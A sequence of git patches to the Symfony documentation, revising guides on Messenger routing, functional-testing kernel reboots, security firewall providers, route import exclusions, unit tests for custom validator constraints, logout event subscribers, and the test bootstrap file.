+    This method allows to modify the "view" of any rendered widget. This is useful
+    if your form type consists of many fields, or contains a type that produces
+    many HTML elements (e.g. ``ChoiceType``). For any other use case, it's
+    recommended to use ``buildView()`` instead.
+
+``getParent()``
+    If your custom type is based on another type (i.e. they share some
+    functionality) add this method to return the fully-qualified class name
+    of that original type. Do not use PHP inheritance for this.
+    Symfony will call all the form type methods (``buildForm()``,
+    ``buildView()``, etc.) of the parent type and it will call all its type
+    extensions before calling the ones defined in your custom type.
+
+    By default, the ``AbstractType`` class returns the generic
+    :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
+    type, which is the root parent for all form types in the Form component.
+
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 955b39345e7d9c56700f41dfec7c8a7d660655be Mon Sep 17 00:00:00 2001
From: Clement Herreman <clement.herreman@gmail.com>
Date: Fri, 15 Apr 2022 17:26:40 +0200
Subject: [PATCH 3746/7107] [Messenger] Add doc for default routing for
 messages

---
 messenger.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 605561e39d5..b5926c05d2a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -261,7 +261,13 @@ you can configure them to be sent to a transport:
 
 Thanks to this, the ``App\Message\SmsNotification`` will be sent to the ``async``
 transport and its handler(s) will *not* be called immediately. Any messages not
-matched under ``routing`` will still be handled immediately.
+matched under ``routing`` will still be handled immediately, i.e. synchronously.
+
+.. note::
+
+    You may use ``'*'`` as the message class. This will act as a default routing
+    rule for any message not matched under ``routing``. This is useful to ensure
+    no message is handled synchronously by default.
 
 You can also route classes by their parent class or interface. Or send messages
 to multiple transports:

From 5781a948ea10c5ff6a42020ec97b1706b9f811c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Oct 2022 17:35:56 +0200
Subject: [PATCH 3747/7107] Tweaks

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6bcac8c52d3..14e255f2943 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -269,6 +269,11 @@ matched under ``routing`` will still be handled immediately, i.e. synchronously.
     rule for any message not matched under ``routing``. This is useful to ensure
     no message is handled synchronously by default.
 
+    The only drawback is that ``'*'`` will also apply to the emails sent with the
+    Symfony Mailer (which uses ``SendEmailMessage`` when Messenger is available).
+    This could cause issues if your emails are not serializable (e.g. if they include
+    file attachments as PHP resources/streams).
+
 You can also route classes by their parent class or interface. Or send messages
 to multiple transports:
 

From 6f431a4bf5c7fc92604bce58e724dea476ee070b Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Wed, 5 Oct 2022 21:28:40 +0200
Subject: [PATCH 3748/7107] Update testing.rst

Co-authored-by: Jules Pietri <heahdude@yahoo.fr>
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 51943e91cd8..90be9bab84b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -537,7 +537,7 @@ This allows you to create all types of requests you can think of:
 
 .. caution::
 
-    Before each request with the client, the client "resets" the container and recreates it from scratch.
+    Before each request, the client reboots the kernel, recreating the container from scratch.
     That gives each request an "isolated" environment because each request will create new service objects.
     But for example, when using the entity manager of Doctrine, all entities loaded with it are "lost"
     when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want

From c4c1899799a02a3cd93c0d2c9d26c918b0d82a5c Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Wed, 5 Oct 2022 21:30:57 +0200
Subject: [PATCH 3749/7107] Update testing.rst

Co-authored-by: Jules Pietri <heahdude@yahoo.fr>
---
 testing.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 90be9bab84b..b195ae60b0f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -539,7 +539,8 @@ This allows you to create all types of requests you can think of:
 
     Before each request, the client reboots the kernel, recreating the container from scratch.
     That gives each request an "isolated" environment because each request will create new service objects.
-    But for example, when using the entity manager of Doctrine, all entities loaded with it are "lost"
+    Also, it means that entities loaded by Doctrine repositories will be "detached", so they will need to be
+    refreshed by the manager or queried again from a repository.
     when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want
     to have entities in "valid state".
 

From dad267e2ca85d21b568f3580304d3c6c19997ee8 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Wed, 5 Oct 2022 21:33:46 +0200
Subject: [PATCH 3750/7107] Update testing.rst

Co-authored-by: Jules Pietri <heahdude@yahoo.fr>
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index b195ae60b0f..c29b53e705a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -538,7 +538,7 @@ This allows you to create all types of requests you can think of:
 .. caution::
 
     Before each request, the client reboots the kernel, recreating the container from scratch.
-    That gives each request an "isolated" environment because each request will create new service objects.
+    This ensures that every requests are "isolated" using "new" service objects.
     Also, it means that entities loaded by Doctrine repositories will be "detached", so they will need to be
     refreshed by the manager or queried again from a repository.
     when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want

From b636d2e2dec0753e16273dd1a9505c3b32d2c123 Mon Sep 17 00:00:00 2001
From: Deco <andretefras@gmail.com>
Date: Wed, 5 Oct 2022 23:40:33 -0300
Subject: [PATCH 3751/7107] Add missing space

---
 quick_tour/flex_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 9fed0c64e12..0c44c5dcb1b 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -165,7 +165,7 @@ Are you building an API? You can already return JSON from any controller::
         // ...
 
         #[Route('/api/hello/{name}', methods: ['GET'])]
-        public function apiHello(string$name): JsonResponse
+        public function apiHello(string $name): JsonResponse
         {
             return $this->json([
                 'name' => $name,

From 1898849add4f51ba8131d4f464c4b13ff1c8c28c Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Thu, 6 Oct 2022 16:46:45 +0200
Subject: [PATCH 3752/7107] add break lines and remove useless line

---
 testing.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index c29b53e705a..1312bb69191 100644
--- a/testing.rst
+++ b/testing.rst
@@ -537,12 +537,12 @@ This allows you to create all types of requests you can think of:
 
 .. caution::
 
-    Before each request, the client reboots the kernel, recreating the container from scratch.
+    Before each request, the client reboots the kernel, recreating
+    the container from scratch.
     This ensures that every requests are "isolated" using "new" service objects.
-    Also, it means that entities loaded by Doctrine repositories will be "detached", so they will need to be
-    refreshed by the manager or queried again from a repository.
-    when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want
-    to have entities in "valid state".
+    Also, it means that entities loaded by Doctrine repositories will
+    be "detached", so they will need to be refreshed by the manager or
+    queried again from a repository.
 
 Browsing the Site
 .................

From 2309b0b814eb8967a8f158627896d2b85e63258b Mon Sep 17 00:00:00 2001
From: KosticDusan4D <75327101+KosticDusan4D@users.noreply.github.com>
Date: Wed, 11 May 2022 13:58:50 +0200
Subject: [PATCH 3753/7107] Correcting bugs for provider and JSON login

On lines 501 and 502 I propose this change, because it confused me so much which provider to use, and in the case that you are explaining there you should use earlier configured app_user_provider, not users_in_memory.

On line 1043 I had a problem that $user is always null until I deleted the "?User" from parameters. I think that PHP gets confused here with the way it is written. And to say that now with that part removed everything works fine.

Thanks in advance and I hope that I contributed even a little as this is.
---
 security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index dac009b6c66..e2cc5fde10a 100644
--- a/security.rst
+++ b/security.rst
@@ -498,7 +498,8 @@ will be able to authenticate (e.g. login form, API token, etc).
                     security: false
                 main:
                     lazy: true
-                    provider: users_in_memory
+                    # provider that you set earlier inside providers
+                    provider: app_user_provider
 
                     # activate different ways to authenticate
                     # https://symfony.com/doc/current/security.html#firewalls-authentication

From f86496ce16089c8e3ea3b0e9131b4fd404816e36 Mon Sep 17 00:00:00 2001
From: Jeroen <1517978+jeroeny@users.noreply.github.com>
Date: Thu, 2 Sep 2021 15:50:15 +0200
Subject: [PATCH 3754/7107] Use fourth argument of RoutingConfigurator instead
 of non-existent method

---
 routing.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index b41371f42ce..000d856ebeb 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1247,7 +1247,11 @@ the common configuration using options when importing the routes.
         return function (RoutingConfigurator $routes) {
             // use the optional fourth argument of import() to exclude some files
             // or subdirectories when loading annotations
-            $routes->import('../../src/Controller/', 'annotation')
+            $routes->import(
+                    resource: '../../src/Controller/',
+                    type: 'annotation',
+                    exclude: '../../src/Controller/{DebugEmailController}.php'
+                )
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')
 
@@ -1260,9 +1264,6 @@ the common configuration using options when importing the routes.
 
                 // these requirements are added to all imported routes
                 ->requirements(['_locale' => 'en|es|fr'])
-
-                // you can optionally exclude some files/subdirectories when loading annotations
-                ->exclude('../../src/Controller/{DebugEmailController}.php')
             ;
         };
 

From 83d0d4d53a71187a20e073d7c466011878420544 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 7 Oct 2022 17:39:41 +0200
Subject: [PATCH 3755/7107] Minor tweak

---
 routing.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index 000d856ebeb..f1747e5bc9e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1245,12 +1245,13 @@ the common configuration using options when importing the routes.
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            // use the optional fourth argument of import() to exclude some files
-            // or subdirectories when loading annotations
             $routes->import(
-                    resource: '../../src/Controller/',
-                    type: 'annotation',
-                    exclude: '../../src/Controller/{DebugEmailController}.php'
+                    '../../src/Controller/',
+                    'annotation',
+                    false,
+                    // the optional fourth argument is used to exclude some files
+                    // or subdirectories when loading annotations
+                    '../../src/Controller/{DebugEmailController}.php'
                 )
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')

From 74daa0e5689f93432124de30271ea3d73a54404c Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 8 Oct 2022 11:22:00 +0200
Subject: [PATCH 3756/7107] [Messenger] Removing note docblock for
 MessageHandlerInterface

The docblock note is no longer required from Symfony 6.0 onwards as it requires PHP 8.0.
---
 messenger.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 7ae218ac485..9fd70b268a5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -70,12 +70,6 @@ message class (or a message interface)::
         }
     }
 
-.. note::
-
-    You can also create a class without the attribute (e.g. if you're
-    using PHP 7.4), by implementing :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
-    instead.
-
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``
 message is dispatched. Most of the time, this is all you need to do. But you can

From 49002910319ddc5fc788d179604d1a006af94901 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 16:24:40 +0200
Subject: [PATCH 3757/7107] [Validator] Add hint for testing custom constraints

---
 validation/custom_constraint.rst | 43 ++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index d9933e7671b..1c9cbbffa4c 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -272,3 +272,46 @@ not to the property:
                 $metadata->addConstraint(new ProtocolClass());
             }
         }
+
+Testing Custom Constraints
+--------------------------
+
+Use the ``ConstraintValidatorTestCase`` utility to simplify the creation of
+unit tests for your custom constraints::
+
+    // ...
+    use App\Validator\ContainsAlphanumeric;
+    use App\Validator\ContainsAlphanumericValidator;
+
+    class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new ContainsAlphanumericValidator();
+        }
+
+        public function testNullIsValid()
+        {
+            $this->validator->validate(null, new ContainsAlphanumeric());
+
+            $this->assertNoViolation();
+        }
+
+        /**
+         * @dataProvider provideInvalidConstraints
+         */
+        public function testTrueIsInvalid(ContainsAlphanumeric $constraint)
+        {
+            $this->validator->validate('...', $constraint);
+
+            $this->buildViolation('myMessage')
+                ->setParameter('{{ string }}', '...')
+                ->assertRaised();
+        }
+
+        public function provideInvalidConstraints(): iterable
+        {
+            yield [new ContainsAlphanumeric(message: 'myMessage')];
+            // ...
+        }
+    }

From 9cbca1a54809406d3e04edc1b5af46aada1681c3 Mon Sep 17 00:00:00 2001
From: Andrii Popov <popov256@gmail.com>
Date: Wed, 24 Jun 2020 23:35:27 +0300
Subject: [PATCH 3758/7107] [Validator] Unit Tests

---
 validation/custom_constraint.rst | 269 ++++++++++++++++++++++++++++---
 1 file changed, 246 insertions(+), 23 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 1c9cbbffa4c..7bb2772e1be 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -194,22 +194,112 @@ Class Constraint Validator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Besides validating a single property, a constraint can have an entire class
-as its scope. You only need to add this to the ``Constraint`` class::
+as its scope. Consider the following classes, that describe the receipt of some payment::
 
-    public function getTargets()
+    // src/AppBundle/Model/PaymentReceipt.php
+    class PaymentReceipt
     {
-        return self::CLASS_CONSTRAINT;
+        /**
+         * @var User
+         */
+        private $user;
+
+        /**
+         * @var array
+         */
+        private $payload;
+
+        public function __construct(User $user, array $payload)
+        {
+            $this->user = $user;
+            $this->payload = $payload;
+        }
+
+        public function getUser(): User
+        {
+            return $this->user;
+        }
+
+        public function getPayload(): array
+        {
+            return $this->payload;
+        }
+    }
+
+    // src/AppBundle/Model/User.php
+
+    class User
+    {
+        /**
+         * @var string
+         */
+        private $email;
+
+        public function __construct($email)
+        {
+            $this->email = $email;
+        }
+
+        public function getEmail(): string
+        {
+            return $this->email;
+        }
+    }
+
+As an example you're going to check if the email in receipt payload matches the user email.
+To validate the receipt, it is required to create the constraint first.
+You only need to add the ``getTargets()`` method to the ``Constraint`` class::
+
+    // src/AppBundle/Validator/Constraints/ConfirmedPaymentReceipt.php
+    namespace AppBundle\Validator\Constraints;
+
+    use Symfony\Component\Validator\Constraint;
+
+    /**
+     * @Annotation
+     */
+    class ConfirmedPaymentReceipt extends Constraint
+    {
+        public $userDoesntMatchMessage = 'User email does not match the receipt email';
+
+        public function getTargets()
+        {
+            return self::CLASS_CONSTRAINT;
+        }
     }
 
 With this, the validator's ``validate()`` method gets an object as its first argument::
 
-    class ProtocolClassValidator extends ConstraintValidator
+    // src/AppBundle/Validator/Constraints/ConfirmedPaymentReceiptValidator.php
+    namespace AppBundle\Validator\Constraints;
+
+    use Symfony\Component\Validator\Constraint;
+    use Symfony\Component\Validator\ConstraintValidator;
+    use Symfony\Component\Validator\Exception\UnexpectedValueException;
+
+    class ConfirmedPaymentReceiptValidator extends ConstraintValidator
     {
-        public function validate($protocol, Constraint $constraint)
+        /**
+         * @param PaymentReceipt $receipt
+         * @param Constraint|ConfirmedPaymentReceipt $constraint
+         */
+        public function validate($receipt, Constraint $constraint)
         {
-            if ($protocol->getFoo() != $protocol->getBar()) {
-                $this->context->buildViolation($constraint->message)
-                    ->atPath('foo')
+            if (!$receipt instanceof PaymentReceipt) {
+                throw new UnexpectedValueException($receipt, PaymentReceipt::class);
+            }
+
+            if (!$constraint instanceof ConfirmedPaymentReceipt) {
+                throw new UnexpectedValueException($constraint, ConfirmedPaymentReceipt::class);
+            }
+
+            $receiptEmail = $receipt->getPayload()['email'] ?? null;
+            $userEmail = $receipt->getUser()->getEmail();
+
+            if ($userEmail !== $receiptEmail) {
+                $this->context
+                    ->buildViolation($constraint->userDoesntMatchMessage)
+                    ->atPath('user.email')
                     ->addViolation();
             }
         }
@@ -232,47 +322,46 @@ not to the property:
         namespace App\Entity;
 
         use App\Validator as AcmeAssert;
-        
+
         /**
-         * @AcmeAssert\ProtocolClass
+         * @AppAssert\ConfirmedPaymentReceipt
          */
-        class AcmeEntity
+        class PaymentReceipt
         {
             // ...
         }
 
     .. code-block:: yaml
 
-        # config/validator/validation.yaml
-        App\Entity\AcmeEntity:
+        # src/AppBundle/Resources/config/validation.yml
+        AppBundle\Model\PaymentReceipt:
             constraints:
-                - App\Validator\ProtocolClass: ~
+                - AppBundle\Validator\Constraints\ConfirmedPaymentReceipt: ~
 
     .. code-block:: xml
 
-        <!-- config/validator/validation.xml -->
-        <class name="App\Entity\AcmeEntity">
-            <constraint name="App\Validator\ProtocolClass"/>
+        <!-- src/AppBundle/Resources/config/validation.xml -->
+        <class name="AppBundle\Model\PaymentReceipt">
+            <constraint name="AppBundle\Validator\Constraints\ConfirmedPaymentReceipt"/>
         </class>
 
     .. code-block:: php
 
-        // src/Entity/AcmeEntity.php
-        namespace App\Entity;
-
-        use App\Validator\ProtocolClass;
+        // src/AppBundle/Model/PaymentReceipt.php
+        use AppBundle\Validator\Constraints\ConfirmedPaymentReceipt;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class AcmeEntity
+        class PaymentReceipt
         {
             // ...
 
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addConstraint(new ProtocolClass());
+                $metadata->addConstraint(new ConfirmedPaymentReceipt());
             }
         }
 
+<<<<<<< HEAD
 Testing Custom Constraints
 --------------------------
 
@@ -315,3 +404,137 @@ unit tests for your custom constraints::
             // ...
         }
     }
+
+How to Unit Test your Validator
+-------------------------------
+
+To create a unit test for you custom validator, your test case class should
+extend the ``ConstraintValidatorTestCase`` class and implement the ``createValidator()`` method::
+
+    protected function createValidator()
+    {
+        return new ContainsAlphanumericValidator();
+    }
+
+After that you can add any test cases you need to cover the validation logic::
+
+    use AppBundle\Validator\Constraints\ContainsAlphanumeric;
+    use AppBundle\Validator\Constraints\ContainsAlphanumericValidator;
+    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
+
+    class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new ContainsAlphanumericValidator();
+        }
+
+        /**
+         * @dataProvider getValidStrings
+         */
+        public function testValidStrings($string)
+        {
+            $this->validator->validate($string, new ContainsAlphanumeric());
+
+            $this->assertNoViolation();
+        }
+
+        public function getValidStrings()
+        {
+            return [
+                ['Fabien'],
+                ['SymfonyIsGreat'],
+                ['HelloWorld123'],
+            ];
+        }
+
+        /**
+         * @dataProvider getInvalidStrings
+         */
+        public function testInvalidStrings($string)
+        {
+            $constraint = new ContainsAlphanumeric([
+                'message' => 'myMessage',
+            ]);
+
+            $this->validator->validate($string, $constraint);
+
+            $this->buildViolation('myMessage')
+                ->setParameter('{{ string }}', $string)
+                ->assertRaised();
+        }
+
+        public function getInvalidStrings()
+        {
+            return [
+                ['example_'],
+                ['@$^&'],
+                ['hello-world'],
+                ['<body>'],
+            ];
+        }
+    }
+
+You can also use the ``ConstraintValidatorTestCase`` class for creating test cases for class constraints::
+
+    use AppBundle\Validator\Constraints\ConfirmedPaymentReceipt;
+    use AppBundle\Validator\Constraints\ConfirmedPaymentReceiptValidator;
+    use Symfony\Component\Validator\Exception\UnexpectedValueException;
+    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
+
+    class ConfirmedPaymentReceiptValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new ConfirmedPaymentReceiptValidator();
+        }
+
+        public function testValidReceipt()
+        {
+            $receipt = new PaymentReceipt(new User('foo@bar.com'), ['email' => 'foo@bar.com', 'data' => 'baz']);
+            $this->validator->validate($receipt, new ConfirmedPaymentReceipt());
+
+            $this->assertNoViolation();
+        }
+
+        /**
+         * @dataProvider getInvalidReceipts
+         */
+        public function testInvalidReceipt($paymentReceipt)
+        {
+            $this->validator->validate(
+                $paymentReceipt,
+                new ConfirmedPaymentReceipt(['userDoesntMatchMessage' => 'myMessage'])
+            );
+
+            $this->buildViolation('myMessage')
+                ->atPath('property.path.user.email')
+                ->assertRaised();
+        }
+
+        public function getInvalidReceipts()
+        {
+            return [
+                [new PaymentReceipt(new User('foo@bar.com'), [])],
+                [new PaymentReceipt(new User('foo@bar.com'), ['email' => 'baz@foo.com'])],
+            ];
+        }
+
+        /**
+         * @dataProvider getUnexpectedArguments
+         */
+        public function testUnexpectedArguments($value, $constraint)
+        {
+            self::expectException(UnexpectedValueException::class);
+
+            $this->validator->validate($value, $constraint);
+        }
+
+        public function getUnexpectedArguments()
+        {
+            return [
+                [new \stdClass(), new ConfirmedPaymentReceipt()],
+                [new PaymentReceipt(new User('foo@bar.com'), []), new Unique()],
+            ];
+        }
+    }

From 4f90b3cba960928260996dc9b2ff289d7deec333 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 15:24:48 +0200
Subject: [PATCH 3759/7107] Adding full subscriber example

Reason: It's not so easy to figure this out, since the linked Event Subscriber page doesn't show how to subscribe to this specific event.

Questions:
* The introduction text says "e.g. invalidate some tokens". How can this be done?
* How can you add a flash message? `$this->addFlashMessage()` didn't work for me.
* I'm extending `AbstractController` to have access to `$this->generateUrl()` - is this the easiest/best way?
---
 security.rst | 55 ++++++++++++++++++++++++++++++++++++----------------
 1 file changed, 38 insertions(+), 17 deletions(-)

diff --git a/security.rst b/security.rst
index 18e6fccc669..8d1277591d2 100644
--- a/security.rst
+++ b/security.rst
@@ -1766,17 +1766,40 @@ In some cases you need to run extra logic upon logout (e.g. invalidate
 some tokens) or want to customize what happens after a logout. During
 logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
 is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
-to run custom logic. The following information is available in the
-event class:
-
-``getToken()``
-    Returns the security token of the session that is about to be logged
-    out.
-``getRequest()``
-    Returns the current request.
-``getResponse()``
-    Returns a response, if it is already set by a custom listener. Use
-    ``setResponse()`` to configure a custom logout response.
+to execute custom logic::
+
+    // src/EventListener/LogoutSubscriber.php
+    namespace App\EventListener;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpFoundation\RedirectResponse;
+    use Symfony\Component\Security\Http\Event\LogoutEvent;
+
+    class LogoutSubscriber extends AbstractController implements EventSubscriberInterface
+    {
+        public static function getSubscribedEvents(): array
+        {
+            return [LogoutEvent::class => 'onLogout'];
+        }
+
+        public function onLogout(LogoutEvent $event): void
+        {
+            // get the security token of the session that is about to be logged out
+            $token = $event->getToken();
+
+            // get the current request
+            $request = $event->getRequest();
+
+            // get the current response, if it is already set by another listener
+            $response = $event->getResponse();
+
+            // configure a custom logout response
+            $event->setResponse(
+                new RedirectResponse($this->generateUrl('homepage', []), RedirectResponse::HTTP_SEE_OTHER)
+            );
+        }
+    }
 
 .. _retrieving-the-user-object:
 
@@ -2534,7 +2557,7 @@ for these events.
             services:
                 # ...
 
-                App\EventListener\CustomLogoutSubscriber:
+                App\EventListener\LogoutSubscriber:
                     tags:
                         - name: kernel.event_subscriber
                           dispatcher: security.event_dispatcher.main
@@ -2551,7 +2574,7 @@ for these events.
                 <services>
                     <!-- ... -->
 
-                    <service id="App\EventListener\CustomLogoutSubscriber">
+                    <service id="App\EventListener\LogoutSubscriber">
                         <tag name="kernel.event_subscriber"
                              dispatcher="security.event_dispatcher.main"
                          />
@@ -2564,14 +2587,12 @@ for these events.
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            use App\EventListener\CustomLogoutListener;
-            use App\EventListener\CustomLogoutSubscriber;
-            use Symfony\Component\Security\Http\Event\LogoutEvent;
+            use App\EventListener\LogoutSubscriber;
 
             return function(ContainerConfigurator $configurator) {
                 $services = $configurator->services();
 
-                $services->set(CustomLogoutSubscriber::class)
+                $services->set(LogoutSubscriber::class)
                     ->tag('kernel.event_subscriber', [
                         'dispatcher' => 'security.event_dispatcher.main',
                     ]);

From 117ed8fd55e476193e13827b449ab59e73f04969 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 15:29:21 +0200
Subject: [PATCH 3760/7107] [#15186] Update example

---
 security.rst | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 8d1277591d2..e253dc68013 100644
--- a/security.rst
+++ b/security.rst
@@ -1771,13 +1771,18 @@ to execute custom logic::
     // src/EventListener/LogoutSubscriber.php
     namespace App\EventListener;
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpFoundation\RedirectResponse;
+    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Http\Event\LogoutEvent;
 
-    class LogoutSubscriber extends AbstractController implements EventSubscriberInterface
+    class LogoutSubscriber implements EventSubscriberInterface
     {
+        public function __construct(
+            private UrlGeneratorInterface $urlGenerator
+        ) {
+        }
+
         public static function getSubscribedEvents(): array
         {
             return [LogoutEvent::class => 'onLogout'];
@@ -1794,10 +1799,12 @@ to execute custom logic::
             // get the current response, if it is already set by another listener
             $response = $event->getResponse();
 
-            // configure a custom logout response
-            $event->setResponse(
-                new RedirectResponse($this->generateUrl('homepage', []), RedirectResponse::HTTP_SEE_OTHER)
+            // configure a custom logout response to the homepage
+            $response = new RedirectResponse(
+                $this->urlGenerator->generate('homepage'),
+                RedirectResponse::HTTP_SEE_OTHER
             );
+            $event->setResponse($response);
         }
     }
 

From c08e8fd15af374845239d22959c3ae9d08d009b1 Mon Sep 17 00:00:00 2001
From: Barun <kharelbarun@gmail.com>
Date: Wed, 9 Jun 2021 23:22:27 +0545
Subject: [PATCH 3761/7107] Fix example code of customization of bootstrapping
 in test

The change is copied from Symfony 4.4.
---
 testing/bootstrap.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index 7acdd6e78cc..03210929cf2 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -6,20 +6,20 @@ running those tests. For example, if you're running a functional test and
 have introduced a new translation resource, then you will need to clear your
 cache before running those tests.
 
-Symfony already created the following ``tests/bootstrap.php`` file when installing
-the package to work with tests. If you don't have this file, create it::
+To do this, first add a file that executes your bootstrap work::
 
     // tests/bootstrap.php
-    use Symfony\Component\Dotenv\Dotenv;
-
-    require dirname(__DIR__).'/vendor/autoload.php';
-
-    if (file_exists(dirname(__DIR__).'/config/bootstrap.php')) {
-        require dirname(__DIR__).'/config/bootstrap.php';
-    } elseif (method_exists(Dotenv::class, 'bootEnv')) {
-        (new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
+    if (isset($_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'])) {
+        // executes the "php bin/console cache:clear" command
+        passthru(sprintf(
+            'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
+            $_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'],
+            __DIR__
+        ));
     }
 
+    require __DIR__.'/../config/bootstrap.php';
+
 Then, check that your ``phpunit.xml.dist`` file runs this ``bootstrap.php`` file
 before running the tests:
 

From a7c73785bb629b30fc07e3249b1c1a6b9313bbc2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 15:46:54 +0200
Subject: [PATCH 3762/7107] [#15428] Add a bit more detail to bootstrap article

---
 testing.rst           |  2 ++
 testing/bootstrap.rst | 71 +++++++++++++++++++++++++++----------------
 2 files changed, 46 insertions(+), 27 deletions(-)

diff --git a/testing.rst b/testing.rst
index 89e670c710e..778c2cb0dd0 100644
--- a/testing.rst
+++ b/testing.rst
@@ -8,6 +8,8 @@ Whenever you write a new line of code, you also potentially add new bugs.
 To build better and more reliable applications, you should test your code
 using both functional and unit tests.
 
+.. _testing-installation:
+
 The PHPUnit Testing Framework
 -----------------------------
 
diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index 03210929cf2..c075552a9e3 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -6,47 +6,64 @@ running those tests. For example, if you're running a functional test and
 have introduced a new translation resource, then you will need to clear your
 cache before running those tests.
 
-To do this, first add a file that executes your bootstrap work::
+When :ref:`installing testing <testing-installation>` using Symfony Flex,
+it already created a ``tests/bootstrap.php`` file that is run by PHPUnit
+before your tests.
 
-    // tests/bootstrap.php
-    if (isset($_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'])) {
-        // executes the "php bin/console cache:clear" command
-        passthru(sprintf(
-            'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
-            $_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'],
-            __DIR__
-        ));
-    }
+You can modify this file to add custom logic:
 
-    require __DIR__.'/../config/bootstrap.php';
+.. code-block:: diff
 
